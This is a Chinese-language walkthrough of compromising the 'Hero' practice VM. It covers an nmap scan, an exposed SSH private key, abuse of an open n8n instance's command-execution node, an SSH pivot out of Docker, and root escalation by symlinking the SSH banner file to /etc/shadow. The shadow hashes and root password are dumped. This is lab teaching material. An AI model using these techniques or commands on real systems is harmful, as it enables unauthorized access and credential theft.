Hero靶机渗透实战笔记

免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

环境信息

  • 靶机 IP:192.168.228.32(virtualbox)
  • 攻击机(Kali) IP:192.168.91.129(vmware)
  • 靶机系统:Alpine Linux(基于 BusyBox)
  • 初始用户权限node

virtualbox开启靶机:

image-20260103021153688

确保kali虚拟机网卡桥接到vitualbox靶机所在的网卡

image-20260103021344783

一、扫描采集信息

扫描靶机所在网段:

nmap -sP 192.168.228.0/24

image-20260103022117237

成功发现靶机IP:192.168.228.32

对靶机进行详细扫描:

image-20260103022333623

扫描后发现开启了80端口,5678端口,

先访问web端口

image-20260103023023527

显示了一串加密字符串,可以很容易看出来是是openssh的私钥

在访问下5678端口发现是一个n8n

二、漏洞利用

将80端口的私钥保存下来,解析一下:

ssh-keygen -y -f id_rsa
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKiYY31x+ZMvvHfmGWC7ZE75BbdbAKYEtIX75k6CL27C shawa@hero

可以得知ssh用户名shawa

n8n的开放端口可以创建用户,随便创建后登录

image-20260103024720589

image-20260103024753262

新建一个workflow

在加入功能的板块有一个 Core

里面有一个可以执行系统命令的板块

image-20260103024912701

将它与chat连接到一起,就可以在聊天框执行系统命令

image-20260103025813289

/目录下发现了 .dockerenv文件得知这是一个docker环境

image-20260103025847266

n8n上面可以添加远程ssh凭证,添加后将之前得到的用户名和ssh私钥添加进去

image-20260103030019859

使用 arp -a

可以找到主机的ip

image-20260103030603983

刚才添加模块的页面我看到有一个模块可以远程执行ssh命令

image-20260103030616758

user.txt

image-20260103030640084

三、提权

/etc/ssh/sshd_config`中指定了Banner文件的路径`Banner /opt/banner.txt

可以用 ln -s /etc/shadow banner.txt创建一个软链接将 banner.txt指向 /root/shadow来读取密码

也可以直接读取 /root/root.txt来获取 flag

修改banner之后

再次进行ssh登录

/tmp $ ssh -i id_rsa shawa@172.17.0.1 Pseudo-terminal will not be allocated because stdin is not a terminal. Host key verification failed.

需要加上 -o StrictHostKeyChecking=no 禁用严格的主机密钥检查,自动接受新密钥。

$ ssh -i id_rsa -o StrictHostKeyChecking=no shawa@172.17.0.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Warning: Permanently added '172.17.0.1' (ED25519) to the list of known hosts.
#Imthepassthaty0uwant!
root:$6$WBuW3zyLro0fagui$gq9zWbt3gEpo26gkIjtgjYZqjCJtjJrJO9EHaWkglVZWwWhQiiSNmMGejRn.Q58Z9knsWP59OQqLPgt2NAWd80:20125:0:::::
bin:!::0:::::
daemon:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
games:!::0:::::
ntp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
klogd:!:20125:0:99999:7:::
chrony:!:20125:0:99999:7:::
nginx:!:20125:0:99999:7:::
shawa:$6$24FnSb8jAyKUSa4W$Z7fiPgCy1q8VTg6eF0tVe2cjlHfZEB.fswQyBWoZdY3PwV6VyckxP8OhskWf/Kgx881HhsT2uWvVPTGRpJ43T.:20125:0:99999:7::

第一行注释就是我们想要的 root用户的密码

su
Password: Imthepassthaty0uwant!
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

靶机渗透至此完成